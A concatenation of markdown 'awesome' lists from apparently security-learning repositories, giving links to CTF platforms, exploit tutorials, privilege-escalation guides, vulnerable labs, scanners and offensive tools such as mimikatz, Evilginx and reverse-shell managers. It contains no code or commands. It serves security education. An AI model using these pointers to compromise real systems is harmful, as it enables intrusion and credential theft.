[Hacking Articles](http://www.hackingarticles.in/ctf-challenges1/) | CTF Brief Write up collection with a lot of screenshots good for begginers
[Hacker101 CTF](https://ctf.hacker101.com/) | CTF hosted by HackerOne, always online. You will receive invitations to some private programs on HackerOne platform as a reward.
[Hacking Lab](https://www.hacking-lab.com/index.html) | European platform hosting lots of riddles, challenges and competitions
[Portswigger](https://portswigger.net/) | Best Platform inorder to learn Web Pentesting, account required
### Reverse Engineering, Buffer Overflow and Exploit Development
Name | Description
---- | ----
[A Course on Intermediate Level Linux Exploitation](https://github.com/nnamon/linux-exploitation-course) | as the title says, this course isn't for beginners
[Analysis and exploitation (unprivileged)](https://www.it-sec-catalog.info/analysis_and_exploitation_unprivileged.html) | huge collection of RE information, organized by type.
[Binary hacking](http://liveoverflow.com/binary_hacking/index.html) | 35 "no bullshit" binary videos along with other info
[Buffer Overflow Exploitation Megaprimer for Linux](http://www.securitytube.net/groups?operation=view&groupId=4) | Collection of Linux Rev. Engineering videos
[Corelan tutorials](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/) | detailed tutorial, lots of good information about memory
[Exploit tutorials](http://www.primalsecurity.net/tutorials/exploit-tutorials/) | a series of 9 exploit tutorials,also features a podcast
[Exploit development](https://0x00sec.org/c/exploit-development) | links to the forum's exploit dev posts, quality and post style will vary with each poster
[flAWS challenge](http://flaws.cloud/) | Through a series of levels you'll learn about common mistakes and gotchas when using Amazon Web Services (AWS).
[Introduction to ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) | tons of tutorials from infosec pro Azeria, follow her on twitter
[Introductory Intel x86](http://www.opensecuritytraining.info/IntroX86.html) | 63 days of OS class materials, 29 classes, 24 instructors, no account required
[Lena's Reversing for Newbies (Complete)](https://tuts4you.com/download.php?view.2876) | listing of a lengthy resource by Lena, aimed at being a course
[Linux (x86) Exploit Development Series](https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/) | blog post by sploitfun, has 3 different levels
[Megabeets journey into Radare2](https://www.megabeets.net/a-journey-into-radare-2-part-1/) | one user's radare2 tutorials
[Modern Binary Exploitation - CSCI 4968](https://github.com/RPISEC/MBE) | RE challenges, you can download the files or download the VM created by RPISEC specifically for challenges, also links to their home page with tons of infosec lectures
[Recon.cx - reversing conference](https://recon.cx/) | the conference site contains recordings and slides of all talks!!
[Reverse Engineering for Beginners](https://beginners.re/RE4B-EN.pdf) | huge textbook, created by Dennis Yurichev, open-source
[Reverse engineering reading list](https://github.com/onethawt/reverseengineering-reading-list/blob/master/README.md) | a github collection of RE tools and books
[Reverse Engineering challenges](https://challenges.re/) | collection of challenges from the writer of RE for Beginners
[Reverse Engineering for beginners (GitHub project)](https://github.com/dennis714/RE-for-beginners) | github for the above
[Reverse Engineering Malware 101](https://malwareunicorn.org/workshops/re101.html) | intro course created by Malware Unicorn, complete with material and two VM's
[Reverse Engineering Malware 102](https://malwareunicorn.org/workshops/re102.html) | the sequel to RE101
[reversing.kr challenges](http://www.reversing.kr/challenge.php) | reverse engineering challenges varying in difficulty
[Shell storm](http://shell-storm.org/) | Blog style collection with organized info about Rev. Engineering.
[Shellcode Injection](https://dhavalkapil.com/blogs/Shellcode-Injection/) | a blog entry from a grad student at SDS Labs
[Micro Corruption — Assembly](https://microcorruption.com) | CTF designed to learn Assembly by practicing
### Privilege Escalation
Name | Description
---- | ----
[4 Ways get linux privilege escalation](http://www.hackingarticles.in/4-ways-get-linux-privilege-escalation/) | shows different examples of PE
[A GUIDE TO LINUX PRIVILEGE ESCALATION](https://payatu.com/guide-linux-privilege-escalation/) | Basics of Linux privilege escalation
[Abusing SUDO (Linux Privilege Escalation)](http://touhidshaikh.com/blog/?p=790) | Abusing SUDO (Linux Privilege Escalation)
[AutoLocalPrivilegeEscalation](https://github.com/ngalongc/AutoLocalPrivilegeEscalation) | automated scripts that downloads and compiles from exploitdb
[Basic linux privilege escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) | basic linux exploitation, also covers Windows
[Common Windows Privilege Escalation Vectors](https://www.toshellandback.com/2015/11/24/ms-priv-esc/) | Common Windows Privilege Escalation Vectors
[Editing /etc/passwd File for Privilege Escalation](http://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/) | Editing /etc/passwd File for Privilege Escalation
[Linux Privilege Escalation ](https://securityweekly.com/2017/12/17/linux-privilege-escalation-tradecraft-security-weekly-22/) | Linux Privilege Escalation – Tradecraft Security Weekly (Video)
[Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker) | a simple linux PE check script
[Linux Privilege Escalation Scripts](http://netsec.ws/?p=309#more-309) | a list of PE checking scripts, some may have already been covered
[Linux Privilege Escalation Using PATH Variable](http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/) | Linux Privilege Escalation Using PATH Variable
[Linux Privilege Escalation using Misconfigured NFS](http://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/) | Linux Privilege Escalation using Misconfigured NFS
[Linux Privilege Escalation via Dynamically Linked Shared Object Library](https://www.contextis.com/blog/linux-privilege-escalation-via-dynamically-linked-shared-object-library) | How RPATH and Weak File Permissions can lead to a system compromise.
[Local Linux Enumeration & Privilege Escalation Cheatsheet](https://www.rebootuser.com/?p=1623) | good resources that could be compiled into a script
[OSCP - Windows Priviledge Escalation](http://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html) | Common Windows Priviledge Escalation
[Privilege escalation for Windows and Linux](https://github.com/AusJock/Privilege-Escalation) | covers a couple different exploits for Windows and Linux
[Privilege escalation linux with live example](http://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/) | covers a couple common PE methods in linux
[Reach the root](https://hackmag.com/security/reach-the-root/) | discusses a process for linux privilege exploitation
[RootHelper](https://github.com/NullArray/RootHelper) | a tool that runs various enumeration scripts to check for privilege escalation
[Unix privesc checker](http://pentestmonkey.net/tools/audit/unix-privesc-check) | a script that checks for PE vulnerabilities on a system
[Windows exploits, mostly precompiled.](https://github.com/abatchy17/WindowsExploits) | precompiled windows exploits, could be useful for reverse engineering too
[Windows Privilege Escalation](http://www.bhafsec.com/wiki/index.php/Windows_Privilege_Escalation) | collection of wiki pages covering Windows Privilege escalation
[Windows Privilege Escalation](https://memorycorruption.org/windows/2018/07/29/Notes-On-Windows-Privilege-Escalation.html) | Notes on Windows Privilege Escalation
[Windows privilege escalation checker](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md) | a list of topics that link to pentestlab.blog, all related to windows privilege escalation
[Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html) | collection of great info/tutorials, option to contribute to the creator through patreon, creator is an OSCP
[Windows Privilege Escalation Guide](https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/) | Windows Privilege Escalation Guide
[Windows Privilege Escalation Methods for Pentesters](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/) | Windows Privilege Escalation Methods for Pentesters
### Malware Analysis
Name | Description
---- | ----
[Malware traffic analysis](http://www.malware-traffic-analysis.net/) | list of traffic analysis exercises
[Malware Analysis - CSCI 4976](https://github.com/RPISEC/Malware/blob/master/README.md) | another class from the folks at RPISEC, quality content
[Bad Binaries] (https://www.badbinaries.com/) | walkthrough documents of malware traffic analysis exercises and some occasional malware analysis.
### Network Scanning / Reconnaissance
Name | Description
---- | ----
[Foot Printing with WhoIS/DNS records](https://www.sans.org/reading-room/whitepapers/hackers/fundamentals-computer-hacking-956) | a white paper from SANS
[Google Dorks/Google Hacking](https://d4msec.wordpress.com/2015/09/03/google-dorks-for-finding-emails-admin-users-etc/) | list of commands for google hacks, unleash the power of the world's biggest search engine
### Vulnerable Web Application
Name | Description
---- | ----
[bWAPP](http://www.itsecgames.com/) | common buggy web app for hacking, great for beginners, lots of documentation
[Damn Small Vulnerable Web](https://github.com/stamparm/DSVW) | written in less than 100 lines of code, this web app has tons of vulns, great for teaching
[Damn Vulnerable Web Application (DVWA)](http://www.dvwa.co.uk/) | PHP/MySQL web app for testing skills and tools
[Google Gruyere](https://google-gruyere.appspot.com/) | host of challenges on this cheesy web app
[OWASP Broken Web Applications Project](https://github.com/chuckfw/owaspbwa/) | hosts a collection of broken web apps
[OWASP Hackademic Challenges project](https://github.com/Hackademic/hackademic/) | web hacking challenges
[OWASP Mutillidae II](https://sourceforge.net/projects/mutillidae/files/) | another OWASP vulnerable app, lots of documentation.
[OWASP Juice Shop](https://github.com/bkimminich/juice-shop) | covers the OWASP top 10 vulns
[WebGoat: A deliberately insecure Web Application](https://github.com/WebGoat/WebGoat) | maintained by OWASP and designed to to teach web app security
### Vulnerable OS
Name | Description
---- | ----
[General Test Environment Guidance](https://community.rapid7.com/docs/DOC-2196) | white paper from the pros at rapid7
[Metasploitable2 (Linux)](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/) | vulnerable OS, great for practicing hacking
[Metasploitable3](https://github.com/rapid7/metasploitable3) \[[Installation](https://github.com/rapid7/metasploitable3/blob/master/README.md)\] | the third installation of this vulnerable OS
[Vulnhub](https://www.vulnhub.com/) | collection of tons of different vulnerable OS and challenges
### Linux Penetration Testing OS
Name | Description
---- | -----
[Android Tamer](https://androidtamer.com//) | Android Tamer is a Virtual / Live Platform for Android Security professionals.
[BackBox](https://backbox.org/index) | open source community project, promoting security in IT enivornments
[BlackArch](https://blackarch.org/index.html) | Arch Linux based pentesting distro, compatible with Arch installs
[Bugtraq](http://bugtraq-team.com/) | advanced GNU Linux pen-testing technology
[Docker for pentest](https://github.com/aaaguirrep/pentest) | Image with the more used tools to create a pentest environment easily and quickly.
[Kali](http://kali.org/) | the infamous pentesting distro from the folks at Offensive Security
[LionSec Linux](https://lionsec-linux.org/) | pentesting OS based on Ubuntu
[Parrot ](https://www.parrotsec.org/) | Debian includes full portable lab for security, DFIR, and development
[Pentoo](https://www.pentoo.ch/) | pentesting OS based on Gentoo
### Exploits
Name | Description
---- | ----
[0day.today](http://0day.today/) | Easy to navigate database of exploits
[Exploit Database](https://www.exploit-db.com/) | database of a wide variety exploits, CVE compliant archive
[CXsecurity](https://cxsecurity.com/exploit/) | Indie cybersecurity info managed by 1 person
[Snyk Vulnerability DB](https://snyk.io/vuln/) | detailed info and remediation guidance for known vulns, also allows you to test your code
### Forums
Name | Description
---- | ----
[0x00sec](https://0x00sec.org/) | hacker, malware, computer engineering, Reverse engineering
[Antichat](https://forum.antichat.ru/) | russian based forum
[CODEBY.NET](https://codeby.net/) | hacker, WAPT, malware, computer engineering, Reverse engineering, forensics - russian based forum
[EAST Exploit database](http://eastexploits.com/) | exploit DB for commercial exploits written for EAST Pentest Framework
[Greysec](https://greysec.net) | hacking and security forum
[Hackforums](https://hackforums.net/) | posting webstite for hacks/exploits/various discussion
[4Hat Day](http://4hatday.com) | brazilian based hacker forum
[CaveiraTech](https://caveiratech.com/forum) | brazilian based, general hacker forum
### Archived Security Conference Videos
Name | Description
---- | ----
[InfoCon.org](https://infocon.org/cons/) | hosts data from hundreds of cons
[Irongeek](http://www.irongeek.com/) | Website of Adrien Crenshaw, hosts a ton of info.
[infocondb.org](https://infocondb.org/) | a site that aims to catalog and cross-reference all hacker conferences.
### Online Communities
Name | Description
---- | -----
[Hacktoday](https://www.hacktoday.net/) | requires an account, covering all kinds of hacking topics
[Hack+](http://t.me/hacking_group_channel) | link requires telegram to be used
[MPGH](http://mpgh.net) | community of MultiPlayerGameHacking
### Online News Sources
Name | Description
---- | ----
[InfoSec](http://www.infosecurity-magazine.com/) | covers all the latest infosec topics
[Recent Hash Leaks](https://hashes.org/public.php) | great place to lookup hashes
[Security Intell](https://securityintelligence.com/news/) | covers all kinds of news, great intelligence resources
[Threatpost](https://threatpost.com/) | covers all the latest threats and breaches
[Secjuice](secjuice.com)
[The Hacker News](https://thehackernews.com/) | features a daily stream of hack news, also has an app |
Markdown | Awesome-Hacking-Resources/tools.md | # Awesome Hacking Tools
**A collection of awesome lists for hackers, pentesters & security researchers.**
A curated list of awesome Hacking Tools. Your contributions are always welcome !
### Awesome Repositories
Repository | Description
---- | ----
[Awesome Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) | A curated list of awesome malware analysis tools and resources
[Awesome-Hacking](https://github.com/Hack-with-Github/Awesome-Hacking) | A collection of various awesome lists for hackers, pentesters and security researchers
[Awesome-osint](https://github.com/jivoi/awesome-osint) | A curated list of amazingly awesome OSINT
[Code examples for Penetration Testing](https://github.com/dreddsa5dies/goHackTools) | this is The CODE, but very simple and light. No VIDEO/AUDIO/TEXT lectures
[fuzzdb](https://github.com/fuzzdb-project/fuzzdb) | Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.
[HUNT Proxy Extension](https://github.com/bugcrowd/HUNT) | Identify common parameters vulnerable to certain vulnerability classes (HUNT Scanner, availible for Burp Suite PRO and ZAProxy). Organize testing methodologies (currently avalible only inside of Burp Suite).
[List of Sec talks/videos](https://github.com/PaulSec/awesome-sec-talks) | A curated list of awesome Security talks
[Scanners-Box](https://github.com/We5ter/Scanners-Box) | The toolbox of open source scanners
[SecLists](https://github.com/danielmiessler/SecLists) | It is a collection of multiple types of lists used during security assessments
[Xerosploit](https://github.com/LionSec/xerosploit) | Efficient and advanced man in the middle framework
[ctf-tools](https://github.com/zardus/ctf-tools) | Some setup scripts for security research tools.
[PENTEST-WIKI](https://github.com/nixawk/pentest-wiki) | PENTEST-WIKI is a free online security knowledge library for pentesters / researchers. If you have a good idea, please share it with others.
### Awesome custom projects / Scripts
Name | Description
---- | ----
[mimikatz](https://github.com/gentilkiwi/mimikatz) | A useful tool to play with Windows security including extracting plaintext passwords, kerberos tickets, etc.
[LAZY script v2.1.3](https://github.com/arismelachroinos/lscript) | The LAZY script will make your life easier, and of course faster.
[XSStrike](https://github.com/UltimateHackers/XSStrike) | XSStrike is a program which can fuzz and bruteforce parameters for XSS. It can also detect and bypass WAFs.
[SubFinder](https://github.com/subfinder/subfinder) | Subdomain discovery tool for use on web application engagements. SubFinder is a subdomain discovery tool that discovers valid subdomains for any target using passive online sources.
[VHostScan](https://github.com/codingo/VHostScan) | A virtual host scanner that performs reverse lookups, can be used with pivot tools, detect catch-all scenarios, aliases and dynamic default pages.
[PhpSploit](https://github.com/nil0x42/phpsploit) | Full-featured C2 framework which silently persists on webserver via evil PHP oneliner, with a complete asrenal of post-exploitation & privesc features.
### Exploitation tools
Name | Description
---- | ----
[BeEF](http://beefproject.com/) | Browser Exploitation Framework (Beef)
[Core Impact](https://www.coresecurity.com/core-impact) | Core Impact provides vulnerability assessment and penetration security testing throughout your organization.
[Metasploit](https://www.metasploit.com/) | The world’s most used penetration testing framework
### Linux Security Tools
Name | Description
---- | ----
[DefenseMatrix](https://github.com/K4YT3X/DefenseMatrix) | Full security solution for Linux Servers
[Kernelpop](https://github.com/spencerdodd/kernelpop) | kernel privilege escalation enumeration and exploitation framework
[Lynis](https://github.com/CISOfy/lynis) | Security auditing tool for Linux, macOS, and UNIX-based systems.
[linux-explorer](https://github.com/intezer/linux-explorer) | Easy-to-use live forensics toolbox for Linux endpoints
[Katoolin](https://github.com/LionSec/katoolin) | Automatically install all Kali linux tools in distros like Ubuntu
### Exploit Databases
Name | Description
---- | ----
[0day](http://0day.today/) | Inj3ct0r is the ultimate database of exploits and vulnerabilities and a great resource for vulnerability researchers and security professionals.
[cxsecurity](http://cxsecurity.com/exploit) | Exploit Database
[exploit-db](https://www.exploit-db.com/) | Exploits Database by Offensive Security
[iedb](http://iedb.ir/) | Iranian Exploit DataBase
[rapid7](https://rapid7.com/db) | Vulnerability & Exploit Database - Rapid7
### Malware Analysis
Name | Description
---- | ----
[malice.io](https://github.com/maliceio/malice) | Open source version of VirusTotal that anyone can use at any scale from an independent researcher to a fortune 500 company.
### MITM tools
Name | Description
---- | ----
[BetterCAP](https://www.bettercap.org/) | MITM attacks against a network, manipulate HTTP, HTTPS and TCP traffic in realtime, sniff for credentials and much more.
[Burp Suite](https://portswigger.net/burp) | GUI based tool for testing Web application security.
[Ettercap](https://ettercap.github.io/ettercap/) | Ettercap is a comprehensive suite for man in the middle attacks
[Evilginx](https://github.com/kgretzky/evilginx) | Man-in-the-middle attack framework used for phishing credentials and session cookies of any web service.
[MITMf](https://github.com/byt3bl33d3r/MITMf) | Framework for Man-In-The-Middle attacks
[mitmproxy](https://mitmproxy.org/) | An interactive console program that allows traffic flows to be intercepted, inspected, modified and replayed
### SQL Injection
Name | Description
---- | ----
[SQLmap](http://sqlmap.org/) | Automatic SQL injection and database takeover tool
[SQLninja](http://sqlninja.sourceforge.net/) | SQL Server injection & takeover tool
[SQLiv](https://github.com/Hadesy2k/sqliv) | Massive SQL injection scanner
### Post explotation
Name | Description
---- | ----
[Portia](https://github.com/SpiderLabs/portia) | Portia aims to automate a number of techniques commonly performed on internal network penetration tests after a low privileged account has been compromised.
[RSPET](https://github.com/panagiks/RSPET) | RSPET (Reverse Shell and Post Exploitation Tool) is a Python based reverse shell equipped with functionalities that assist in a post exploitation scenario.
### Search Engine for Penetration Tester
Name | Description
---- | ----
[Spyse](https://spyse.com/) | Spyse collects valuable data from all open source internet and stores it in its own database to provide instant access to the data.
[Censys](https://www.censys.io/) | Censys continually monitors every reachable server and device on the Internet, so you can search for and analyze them in real time
[Shodan](http://shodan.io/) | Shodan is the world's first search engine for Internet-connected devices.
[WiGLE](https://wigle.net/index) | Maps and database of 802.11 wireless networks, with statistics, submitted by wardrivers, netstumblers, and net huggers.
[Zoomeye](https://www.zoomeye.org/) | search engine for cyberspace that lets the user find specific network components(ip, services, etc.)
### Security Information and Event Management (SIEM)
Name | Description
---- | ----
[OSSIM](https://www.alienvault.com/products/ossim) | AlienVault’s Open Source Security Information and Event Management (SIEM) product
### Network Scanning Tools
Name | Description
---- | ----
[NMAP](https://nmap.org/) | The industry standard in network/port scanning. Widely used.
[Wireshark](https://www.wireshark.org/) | A versatile and feature-packed packet sniffing/analysis tool.
### Source Code Analysis Tools
Name | Description
---- | ----
[pyup](https://pyup.io/) | Automated Security and Dependency Updates
[RIPS](https://www.ripstech.com/) | PHP Security Analysis
[Retire.js](http://retirejs.github.io/retire.js/) | detecting the use of JavaScript libraries with known vulnerabilities
[Snyk](https://snyk.io/) | find & fix vulnerabilities in dependencies, supports various languages
### Binary Analysis Tools
Name | Description
---- | ----
[BinNavi](https://github.com/google/binnavi) | BinNavi is a binary analysis IDE that allows to inspect, navigate, edit and annotate control flow graphs and call graphs of disassembled code
[Radare2](https://github.com/radare/radare2) | Radare2 is a reverse engineering suite which includes a complete toolkit for reverse enigneering needs.
### Privilege Escalation
Name | Description
---- | ----
[LinEnum](https://github.com/rebootuser/LinEnum) | Scripted Local Linux Enumeration & Privilege Escalation Checks
[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) | Privilege Escalation tools for Windows and Linux/Unix
[CVE-2017-5123](https://github.com/nongiach/CVE/blob/master/CVE-2017-5123/README.md) | Linux Kernel 4.14.0-rc4+ - 'waitid()' Local Privilege Escalation
[Oracle Privilege Escalation via Deserialization](http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html) | CVE-2018-3004 Oracle Privilege Escalation via Deserialization
[linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester) | The tool is meant to assist the security analyst in his testing for privilege escalation opportunities on Linux machine
[BeRoot Project](https://github.com/AlessandroZ/BeRoot) | BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege.
[yodo: Local Privilege Escalation](https://securityonline.info/yodo-local-privilege-escalation/) | yodo proves how easy it is to become root via limited sudo permissions, via dirty COW or using Pa(th)zuzu.
### Collaboration tools
Name | Description
---- | ----
[Dradis](https://dradisframework.com/ce/) | Open-source reporting and collaboration tool for InfoSec professionals |
awesome-web-hacking/LICENSE | MIT License
Copyright (c) 2022 Daniel Romero
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE. |
|
Markdown | awesome-web-hacking/README.md | # awesome-web-hacking
This list is for anyone wishing to learn about web application security but do not have a starting point.
You can help by sending Pull Requests to add more information.
If you're not inclined to make PRs you can tweet me at `@infoslack`
Table of Contents
=================
* [Books](#books)
* [Documentation](#documentation)
* [Tools](#tools)
* [Cheat Sheets](#cheat-sheets)
* [Docker](#docker-images-for-penetration-testing)
* [Vulnerabilities](#vulnerabilities)
* [Courses](#courses)
* [Online Hacking Demonstration Sites](#online-hacking-demonstration-sites)
* [Labs](#labs)
* [SSL](#ssl)
* [Security Ruby on Rails](#security-ruby-on-rails)
## Books
* http://www.amazon.com/The-Web-Application-Hackers-Handbook/dp/8126533404/ The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws
* http://www.amazon.com/Hacking-Web-Apps-Preventing-Application/dp/159749951X/ Hacking Web Apps: Detecting and Preventing Web Application Security Problems
* http://www.amazon.com/Hacking-Exposed-Web-Applications-Third/dp/0071740643/ Hacking Exposed Web Applications
* http://www.amazon.com/SQL-Injection-Attacks-Defense-Second/dp/1597499633/ SQL Injection Attacks and Defense
* http://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886/ The Tangled WEB: A Guide to Securing Modern Web Applications
* http://www.amazon.com/Web-Application-Obfuscation-Evasion-Filters/dp/1597496049/ Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'
* http://www.amazon.com/XSS-Attacks-Scripting-Exploits-Defense/dp/1597491543/ XSS Attacks: Cross Site Scripting Exploits and Defense
* http://www.amazon.com/Browser-Hackers-Handbook-Wade-Alcorn/dp/1118662091/ The Browser Hacker’s Handbook
* http://www.amazon.com/Basics-Web-Hacking-Techniques-Attack/dp/0124166008/ The Basics of Web Hacking: Tools and Techniques to Attack the Web
* http://www.amazon.com/Web-Penetration-Testing-Kali-Linux/dp/1782163166/ Web Penetration Testing with Kali Linux
* http://www.amazon.com/Web-Application-Security-Beginners-Guide/dp/0071776168/ Web Application Security, A Beginner's Guide
* https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441/ Hacking: The Art of Exploitation
* https://www.crypto101.io/ - Crypto 101 is an introductory course on cryptography
* http://www.offensive-security.com/metasploit-unleashed/ - Metasploit Unleashed
* http://www.cl.cam.ac.uk/~rja14/book.html - Security Engineering
* https://www.feistyduck.com/library/openssl-cookbook/ - OpenSSL Cookbook
* https://www.manning.com/books/real-world-cryptography - Learn and apply cryptographic techniques.
* https://www.manning.com/books/making-sense-of-cyber-security - A guide to the key concepts, terminology, and technologies of cybersecurity perfect for anyone planning or implementing a security strategy.
* https://www.manning.com/books/cyber-security-career-guide - Kickstart a career in cyber security by learning how to adapt your existing technical and non-technical skills.
* https://www.manning.com/books/secret-key-cryptography - A book about cryptographic techniques and Secret Key methods.
* https://www.manning.com/books/application-security-program-handbook - This practical book is a one-stop guide to implementing a robust application security program.
* https://www.manning.com/books/cyber-threat-hunting - Practical guide to cyber threat hunting.
* https://nostarch.com/bug-bounty-bootcamp - Bug Bounty Bootcamp
* https://nostarch.com/hacking-apis - Hacking APIs
## Documentation
* https://www.owasp.org/ - Open Web Application Security Project
* http://www.pentest-standard.org/ - Penetration Testing Execution Standard
* http://www.binary-auditing.com/ - Dr. Thorsten Schneider’s Binary Auditing
* https://appsecwiki.com/ - Application Security Wiki is an initiative to provide all Application security related resources to Security Researchers and developers at one place.
## Tools
* https://www.deepinfo.com/ - Deepinfo Attack Surface Platform discovers all your digital assets, monitors them 24/7, detects any issues, and notifies you quickly so you can take immediate action.
* https://spyse.com/ - OSINT search engine that provides fresh data about the entire web, storing all data in its own DB, interconnect finding data and has some cool features.
* http://www.metasploit.com/ - World's most used penetration testing software
* https://findsubdomains.com - Online subdomains scanner service with lots of additional data. works using OSINT.
* https://github.com/bjeborn/basic-auth-pot HTTP Basic Authentication honeyPot.
* http://www.arachni-scanner.com/ - Web Application Security Scanner Framework
* https://github.com/sullo/nikto - Nikto web server scanner
* http://www.tenable.com/products/nessus-vulnerability-scanner - Nessus Vulnerability Scanner
* http://www.portswigger.net/burp/intruder.html - Burp Intruder is a tool for automating customized attacks against web apps.
* http://www.openvas.org/ - The world's most advanced Open Source vulnerability scanner and manager.
* https://github.com/iSECPartners/Scout2 - Security auditing tool for AWS environments
* https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project - Is a multi threaded java application designed to brute force directories and files names on web/application servers.
* https://www.owasp.org/index.php/ZAP - The Zed Attack Proxy is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
* https://github.com/tecknicaltom/dsniff - dsniff is a collection of tools for network auditing and penetration testing.
* https://github.com/WangYihang/Webshell-Sniper - Manage your webshell via terminal.
* https://github.com/DanMcInerney/dnsspoof - DNS spoofer. Drops DNS responses from the router and replaces it with the spoofed DNS response
* https://github.com/trustedsec/social-engineer-toolkit - The Social-Engineer Toolkit (SET) repository from TrustedSec
* https://github.com/sqlmapproject/sqlmap - Automatic SQL injection and database takeover tool
* https://github.com/beefproject/beef - The Browser Exploitation Framework Project
* http://w3af.org/ - w3af is a Web Application Attack and Audit Framework
* https://github.com/espreto/wpsploit - WPSploit, Exploiting Wordpress With Metasploit
* https://github.com/WangYihang/Reverse-Shell-Manager - Reverse shell manager via terminal.
* https://github.com/RUB-NDS/WS-Attacker - WS-Attacker is a modular framework for web services penetration testing
* https://github.com/wpscanteam/wpscan - WPScan is a black box WordPress vulnerability scanner
* http://sourceforge.net/projects/paros/ Paros proxy
* https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project Web Scarab proxy
* https://code.google.com/p/skipfish/ Skipfish, an active web application security reconnaissance tool
* http://www.acunetix.com/vulnerability-scanner/ Acunetix Web Vulnerability Scanner
* https://cystack.net/ CyStack Web Security Platform
* http://www-03.ibm.com/software/products/en/appscan IBM Security AppScan
* https://www.netsparker.com/web-vulnerability-scanner/ Netsparker web vulnerability scanner
* http://www8.hp.com/us/en/software-solutions/webinspect-dynamic-analysis-dast/index.html HP Web Inspect
* https://github.com/sensepost/wikto Wikto - Nikto for Windows with some extra features
* http://samurai.inguardians.com Samurai Web Testing Framework
* https://code.google.com/p/ratproxy/ Ratproxy
* http://www.websecurify.com Websecurify
* http://sourceforge.net/projects/grendel/ Grendel-scan
* https://tools.kali.org/web-applications/gobuster Directory/file and DNS busting tool written in Go
* http://www.edge-security.com/wfuzz.php Wfuzz
* http://wapiti.sourceforge.net wapiti
* https://github.com/neuroo/grabber Grabber
* https://subgraph.com/vega/ Vega
* http://websecuritytool.codeplex.com Watcher passive web scanner
* http://xss.codeplex.com x5s XSS and Unicode transformations security testing assistant
* http://www.beyondsecurity.com/avds AVDS Vulnerability Assessment and Management
* http://www.golismero.com Golismero
* http://www.ikare-monitoring.com IKare
* http://www.nstalker.com N-Stalker X
* https://www.rapid7.com/products/nexpose/index.jsp Nexpose
* http://www.rapid7.com/products/appspider/ App Spider
* http://www.milescan.com ParosPro
* https://www.qualys.com/enterprises/qualysguard/web-application-scanning/ Qualys Web Application Scanning
* http://www.beyondtrust.com/Products/RetinaNetworkSecurityScanner/ Retina
* https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework Xenotix XSS Exploit Framework
* https://github.com/future-architect/vuls Vulnerability scanner for Linux, agentless, written in golang.
* https://github.com/rastating/wordpress-exploit-framework A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.
* http://www.xss-payloads.com/ XSS Payloads to leverage XSS vulnerabilities, build custom payloads, practice penetration testing skills.
* https://github.com/joaomatosf/jexboss JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
* https://github.com/commixproject/commix Automated All-in-One OS command injection and exploitation tool
* https://github.com/pathetiq/BurpSmartBuster A Burp Suite content discovery plugin that add the smart into the Buster!
* https://github.com/GoSecure/csp-auditor Burp and ZAP plugin to analyze CSP headers
* https://github.com/ffleming/timing_attack Perform timing attacks against web applications
* https://github.com/lalithr95/fuzzapi Fuzzapi is a tool used for REST API pentesting
* https://github.com/owtf/owtf Offensive Web Testing Framework (OWTF)
* https://github.com/nccgroup/wssip Application for capturing, modifying and sending custom WebSocket data from client to server and vice versa.
* https://github.com/PalindromeLabs/STEWS Tool suite for WebSocket discovery, fingerprinting, and vulnerability detection
* https://github.com/tijme/angularjs-csti-scanner Automated client-side template injection (sandbox escape/bypass) detection for AngularJS (ACSTIS).
* https://reshift.softwaresecured.com A source code analysis tool for detecting and managing Java security vulnerabilities.
* https://encoding.tools Web app for transforming binary data and strings, including hashes and various encodings. GPLv3 offline version available.
* https://gchq.github.io/CyberChef/ A "Cyber Swiss Army Knife" for carrying out various encodings and transformations of binary data and strings.
* https://github.com/urbanadventurer/WhatWeb WhatWeb - Next generation web scanner
* https://www.shodan.io/ Shodan - The search engine for find vulnerable servers
* https://github.com/WangYihang/Webshell-Sniper A webshell manager via terminal
